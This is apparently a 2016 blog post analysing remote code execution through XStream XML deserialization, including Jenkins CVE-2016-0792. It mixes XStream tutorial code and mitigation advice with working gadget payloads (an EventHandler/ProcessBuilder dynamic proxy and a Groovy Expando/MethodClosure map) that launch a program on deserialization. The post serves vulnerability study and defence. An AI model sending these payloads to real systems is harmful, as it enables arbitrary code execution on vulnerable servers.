RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject
catalogue
1. Java xStream 2. DynamicProxyConverter 3. java.beans.EventHandler 4. RCE via XStream object deserialization 5. Standard way to serialize and deserialize Objects with XStream 6. SECURITY-247 / CVE-2016-0792 7. What to do about it
0. 利用方式跟踪
目前为止,已知有两个触发方式
xstream底层锅,上层触发方式有两种 1. sort-map: proxy代理拦截执行 String payload = "<sorted-set>" + "<string>littlehann</string>" + "<dynamic-proxy>" + "<interface>java.lang.Comparable</interface>" + "<handler class=\"java.beans.EventHandler\">" + " <target class=\"java.lang.ProcessBuilder\">" + " <command>" + " <string>notepad.exe</string>" + " </command>" + " </target>" + " <action>start</action>" + "</handler>" + "</dynamic-proxy>" + "</sorted-set>" 2. grovy闭包执行重载hashCode String payload = "<map>" + " <entry>" + " <groovy.util.Expando>" + " <expandoProperties>" + " <entry>" + " <string>hashCode</string>" + " <org.codehaus.groovy.runtime.MethodClosure>" + " <delegate class=\"groovy.util.Expando\" reference=\"../../../..\"/>" + " <owner class=\"java.lang.ProcessBuilder\">" + " <command>" + " <string>notepad.exe</string>" + " </command>" + " <redirectErrorStream>false</redirectErrorStream>" + " </owner>" + " <resolveStrategy>0</resolveStrategy>" + " <directive>0</directive>" + " <parameterTypes/>" + " <maximumNumberOfParameters>0</maximumNumberOfParameters>" + " <method>start</method>" + " </org.codehaus.groovy.runtime.MethodClosure>" + " </entry>" + " </expandoProperties>" + " </groovy.util.Expando>" + " <int>1</int>" + " </entry>" + "</map>"
Relevant Link:
http://www.freebuf.com/vuls/97659.html https://github.com/CaledoniaProject/jenkins-cli-exploit
1. Java xStream
xStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。xStream不仅对XML的转换非常友好,而且提供annotation注解,可以在JavaBean中完成对xml节点、属性的描述。以及对JSON也支持,只需要提供相关的JSONDriver就可以完成转换
0x1: 安装测试
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ import com.littlehann.Person; import com.littlehann.PhoneNumber; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver; import com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver; import com.thoughtworks.xstream.io.json.JsonWriter; public class XStreamTest { public static void main(String args[]) { //Initializing XStream XStream xstream = new XStream(); xstream.alias("person", Person.class); xstream.alias("phonenumber", PhoneNumber.class); //Serializing an object to XML Person joe = new Person("Joe", "Walnes", new PhoneNumber(123, "1234-456"), new PhoneNumber(123, "9999-999")); //convert it to XML String xml = xstream.toXML(joe); System.out.println(xml); //Deserializing an object back from XML //Person newJoe = (Person)xstream.fromXML(xml); //System.out.println(newJoe.getFirstname()); //System.out.println(newJoe.getLastname()); } }
0x2: Simple Converter
The core of XStream consists of a registry of Converters. The responsibility of a Converter is to provide a strategy for converting particular types of objects found in the object graph, to and from XML.
XStream is provided with Converters for common types such as primitives, String, File, Collections, arrays, and Dates.
1. Setting up a simple example
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ public class Person { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }
create a person and convert it to XML
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class PersonTest { public static void main(String[] args) { Person person = new Person(); person.setName("Guilherme"); XStream xStream = new XStream(new DomDriver()); System.out.println(xStream.toXML(person)); } }
2. Creating a PersonConverter
package com.littlehann; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; /** * Created by zhenghan.zh on 2016/2/26. */ public class ConverterTest implements Converter { public boolean canConvert(Class clazz) { return clazz.equals(Person.class); } //The marshal method is responsible for translating an object to XML. public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { //start casting the object to person Person person = (Person) value; // start creating a node called fullname and adding the person's name to it writer.startNode("fullname"); //conversion usually takes place when calling the setValue method. writer.setValue(person.getName()); writer.endNode(); } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { Person person = new Person(); reader.moveDown(); person.setName(reader.getValue()); reader.moveUp(); return person; } }
register our converter and see how our application main method looks like:
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class PersonTest { public static void main(String[] args) { Person person = new Person(); person.setName("Guilherme"); XStream xStream = new XStream(new DomDriver()); //simple call to registerConverter: xStream.registerConverter(new ConverterTest()); xStream.alias("person", Person.class); System.out.println(xStream.toXML(person)); } }
3. Date Converter
create a simple calendar converter which uses the locale to convert the information.
Our converter will receive the Locale in its constructor and we will keep a reference to it in a member variable
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ import java.util.Calendar; import java.util.GregorianCalendar; import java.util.Locale; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class DateTest { public static void main(String[] args) { // grabs the current date from the virtual machine Calendar calendar = new GregorianCalendar(); // creates the xstream XStream xStream = new XStream(new DomDriver()); // brazilian portuguese locale xStream.registerConverter(new DateConverter(new Locale("pt", "br"))); // prints the result System.out.println(xStream.toXML(calendar)); } }
DateConverter.java
package com.littlehann; /** * Created by zhenghan.zh on 2016/2/26. */ import java.util.Locale; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.converters.ConversionException; import java.util.Calendar; import java.util.Date; import java.util.GregorianCalendar; import java.text.DateFormat; import java.text.ParseException; public class DateConverter implements Converter { private Locale locale; public DateConverter(Locale locale) { super(); this.locale = locale; } public boolean canConvert(Class clazz) { return Calendar.class.isAssignableFrom(clazz); } public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { Calendar calendar = (Calendar) value; // grabs the date Date date = calendar.getTime(); // grabs the formatter DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL, this.locale); // formats and sets the value writer.setValue(formatter.format(date)); } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { // creates the calendar GregorianCalendar calendar = new GregorianCalendar(); // grabs the converter DateFormat formatter = DateFormat.getDateInstance(DateFormat.FULL, this.locale); // parses the string and sets the time try { calendar.setTime(formatter.parse(reader.getValue())); } catch (ParseException e) { throw new ConversionException(e.getMessage(), e); } // returns the new object return calendar; } }
XStream在掉用fromXML解析XML流的时候,会递归地逐层进行解析,并根据节点名称将对应的节点实例化为对应的变量
XStream原生就支持多种Converter转换接口,但是如果我们希望实现自定义的数据类型以及自定义的转换逻辑,我们需要自己实现类以及对应的Converter接口
Relevant Link:
http://x-stream.github.io/download.html http://x-stream.github.io/tutorial.html http://www.cnblogs.com/hoojo/archive/2011/04/22/2025197.html http://x-stream.github.io/converter-tutorial.html http://x-stream.github.io/converters.html
2. DynamicProxyConverter
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter
Converts a dynamic proxy to XML, storing the implemented interfaces and handler.
DynamicProxyConverter是一个比较特殊的转换类,它本身不进行XML反序列化,它只是一个实现接口,而实际的反序列化工作由InvocationHandler指定的对象完成
Relevant Link:
https://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.html https://searchcode.com/codesearch/view/11375053
3. java.beans.EventHandler
The EventHandler class provides support for dynamically generating event listeners whose methods execute a simple statement involving an incoming event object and a target object.
The EventHandler class is intended to be used by interactive tools, such as application builders, that allow developers to make connections between beans. Typically connections are made from a user interface bean (the event source) to an application logic bean (the target).
0x1: Examples of Using EventHandler
EventHandler.create(ActionListener.class, target, "doActionEvent", "")
Relevant Link:
http://www.programcreek.com/java-api-examples/index.php?api=java.beans.EventHandler https://docs.oracle.com/javase/7/docs/api/java/beans/EventHandler.html
4. RCE via XStream object deserialization
Xstream is not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs
DynamicProxyConverter: Any dynamic proxy generated by java.lang.reflect.Proxy <dynamic-proxy> <interface>com.foo.Blah</interface> <interface>com.foo.Woo</interface> <handler class="com.foo.MyHandler"> <something>blah</something> </handler> </dynamic-proxy> The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.
This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:
<dynamic-proxy> <interface>com.foo.Blah</interface> <interface>com.foo.Woo</interface> <handler class="com.foo.MyHandler"> <something>blah</something> </handler> </dynamic-proxy>
dynamic proxy is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code
Jenkins has several API endpoints that allow low-privilege users to POST XML files that then get deserialized by Jenkins. Maliciously crafted XML files sent to these API endpoints could result in arbitrary code execution.
XStream是一个著名的反序列化的库,用途广泛,XStream可以用在JIRA, Confluence, Bamboo,甚至是Spring和Struts中
0x1: POC
1. Find out what Class the XML will be deserialized to (in this case com.company.model.Contact)
String payload =
"<sorted-set>" +
"<string>littlehann</string>" +
//2. Create a proxy for that class
"<dynamic-proxy>" +
"<interface>java.lang.Comparable</interface>" +
//3. EventHandler\: Intercept/hook any call to any method in the interface
"<handler class=\"java.beans.EventHandler\">" +
//4. Replace the original call with the malicious payload
" <target class=\"java.lang.ProcessBuilder\">" +
" <command>" +
" <string>notepad.exe</string>" +
" </command>" +
" </target>" +
" <action>start</action>" +
"</handler>" +
"</dynamic-proxy>" +
"</sorted-set>"
//5. Send the serialized version of the proxy
Contact expl = (Contact) xstream.fromXML(payload);
总结流程
1. serialize an object that contains other objects and that in order to instantiate this object //传入一个可以被XStream解析的序列化字符串 2. a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler. //使用dynamic proxy converter,这使得我们可以通过InvocationHandler拦截原本XStream在解析过程中的函数调用 3. serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface //为了兼容Sort-set,需要实现ava.lang.Comparable接口 4. when the Set is instantiated when fromXML, the Comparable interface methods are called to sort the Set 5. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload Set<Comparable> set = new TreeSet<Comparable>(); set.add("foo"); set.add(EventHandler.create(Comparable.class, new ProcessBuilder("notepad.exe","testfile"), "start")); 5. 通过java.beans.EventHandler拦截sort函数调用事件 6. java.beans.EventHandler的target被指定为java.lang.ProcessBuilder,XStream解析过程中当触发sort的时候实际上调用了java.lang.ProcessBuilder.start
Relevant Link:
https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24 https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo https://github.com/pwntester/XStreamPOC/blob/master/src/main/java/com/pwntester/xstreampoc/Main.java http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ http://x-stream.github.io/converters.html https://github.com/pwntester/XStreamPOC
5. Standard way to serialize and deserialize Objects with XStream
0x1: Some important rules
1. Use only POJO class to generate XML or JSON. 2. Use one single class XMLGenerator.java to generate All XML or objects. 3. Use one single class JSONGenerator.java to generate All JSON or objects. 4. Whenever you want to generate XML or JSON or Object you should be able to generate by single line of code. 5. If you want to build web service then you should be careful when using XStream and don't feed it XML retrieved from untrusted sources.
0x2: Prepare Pojo Classes
Square.java
package com.littlehann; import com.thoughtworks.xstream.annotations.XStreamAlias; @XStreamAlias("square") public class Square { @XStreamAlias("size") int size; public int getSize() { return size; } public void setSize(int size) { this.size = size; } }
Rectangle.java
package com.littlehann; import com.thoughtworks.xstream.annotations.XStreamAlias; @XStreamAlias("rectangle") public class Rectangle { @XStreamAlias("width") int width; @XStreamAlias("height") int height; public int getWidth() { return width; } public void setWidth(int width) { this.width = width; } public int getHeight() { return height; } public void setHeight(int width) { this.height = height; } }
0x3: XMLGenerator.java: A common class for XML conversion
package com.littlehann; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public final class XMLGenerator { /* * this class is for generating XML */ /* * initialization of XStream class */ private static XStream xstream = new XStream(new DomDriver()) {{ processAnnotations(Square.class); processAnnotations(Rectangle.class); }}; /* * This class is for generating XML from MODEL class * @param Object * @return String */ public static String generateXML(Object to) { return null == to ? "" : xstream.toXML(to); } /* * Generates the transfer object from the given XML using XStream. * * @param String * @return transfer object */ public static Object generateTOfromXML(String xml) { return xstream.fromXML(xml); } }
0x4: Usage
package com.littlehann; import java.io.IOException; /** * Created by zhenghan.zh on 2016/2/27. */ public class Usage { public static void main(String[] args) throws IOException{ //Convert Object to XML Square sq = new Square(); sq.setSize(5); String resultXML = XMLGenerator.generateXML(sq); System.out.println(resultXML); //Convert XML to Object Square sq1 = (Square)XMLGenerator.generateTOfromXML(resultXML); System.out.println("size: " + sq1.getSize()); } }
Relevant Link:
http://blog.sodhanalibrary.com/2013/12/standard-way-to-serialize-and.html#.VtDsWnqEDUE
6. SECURITY-247 / CVE-2016-0792
0x1: POC
<map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <!--执行打开计算器的操作(当然也可以是别的!)--!> <owner class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>
0x2: 原理分析
The root node in the exploit XML is <map>,和PHP的反序列化一样,Java XStream会在当前代码空间中寻找对应的类名,即对象重建,代码逻辑在MapConverter.java中
public Object More ...unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { Map map = (Map) createCollection(context.getRequiredType()); populateMap(reader, context, map); return map; }
下断点调试: com.thoughtworks.xstream.converters.collections.MapConverter
the default type for <map> is java.util.HashMap, XStream creates one that it will populate with the entries the user supplies. The entries are assumed to be the direct child elements of <map>
protected void populateMap(..., Map map) { while (reader.hasMoreChildren()) { reader.moveDown(); reader.moveDown(); Object key = readItem(reader, context, map); reader.moveUp(); reader.moveDown(); Object value = readItem(reader, context, map); reader.moveUp(); map.put(key, value); reader.moveUp(); } }
the user controlled key and value variables read in, and then put into the HashMap. So, let’s look at the HashMap#put() method:
public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); ... }
so as part of the Map#put() call, XStream is indirectly causing key.hashCode() to be called,This is our entry point. If we can repurpose the hashCode() method of some type to do something malicious, we’ll win.
\groovy-all-2.3.9.jar!\groovy\util\Expando.class
MethodClosure对应的闭包被直接调用执行,并返回执行结果,由于ProcessBuilder的返回值是一个ProcessBuilderImpl对象,所以在赋值过程中出现Exception错误
这和《RCE via XStream object deserialization》里提出使用dynamic proxy、EventHandler拦截sort-set的自动sort()回调调用本质上思想是一致的,都是在XStream进行对象重建过程中,通过拦截对应类型的callback(对Map来说是hashCode(),对Sort-set来说是sort())实现恶意代码注入
groovy.util.Expando
It has an intriguing hashCode() implementation
public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call(); return ret.intValue(); } else { return super.hashCode(); } }
if the Expando has a Closure that’s supposed to figure out the hash code, the Expando will call that Closure and return its output. All we have to do is supply a Closure to use(MethodClosure),A MethodClosure is a wrapper that calls an arbitrary class and method name
1. MapConverter#populateMap() calls HashMap#put() 2. HashMap#put() calls Expando#hashCode() //calback automate 3. Expando#hashCode() calls MethodClosure#call() 4. MethodClosure#call() calls MethodClosure#doCall() 5. MethodClosure#doCall() calls InvokerHelper#invokeMethod() 6. InvokerHelper#invokeMethod() calls ProcessBuilder#start()
Relevant Link:
http://zone.wooyun.org/content/25551 http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
7. What to do about it
1. Register a standard priority converter for the beans you are expecting in your application 2. Register a catch-all converter with higher priority than the reflection ones (low priority) and make the converter to return null on its unmarshall method so any object deserialized by the catch-all converter, will throw an exception and interrupt the converter chain before hitting the Reflection converters.
ContactConverter.java
import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; public class CatchAllConverter implements Converter { public boolean canConvert(Class clazz) { return true; } public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { return null; } }
before deserializing our untrusted input we have to register our new converters
XStream xstream = new XStream(new DomDriver()); xstream.processAnnotations(Contact.class); xstream.registerConverter(new ContactConverter()); xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);
Copyright (c) 2016 LittleHann All rights reserved